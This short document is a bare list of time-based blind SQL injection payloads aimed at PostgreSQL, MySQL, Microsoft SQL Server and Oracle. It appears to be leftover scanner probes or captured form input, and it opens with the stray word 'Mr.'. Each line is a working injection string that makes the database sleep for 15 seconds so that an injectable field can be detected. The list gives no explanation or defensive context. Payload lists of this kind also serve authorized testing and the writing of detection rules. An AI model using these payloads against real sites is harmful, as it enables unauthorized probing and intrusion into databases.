Mr.

-1)) OR 216=(SELECT 216 FROM PG_SLEEP(15))--

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

08KKHOKR' OR 958=(SELECT 958 FROM PG_SLEEP(15))--

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

bSgPeIz5') OR 226=(SELECT 226 FROM PG_SLEEP(15))--

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

PxctS8C7')) OR 503=(SELECT 503 FROM PG_SLEEP(15))--

1 waitfor delay '0:0:15' --

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

6odvezF9'; waitfor delay '0:0:15' --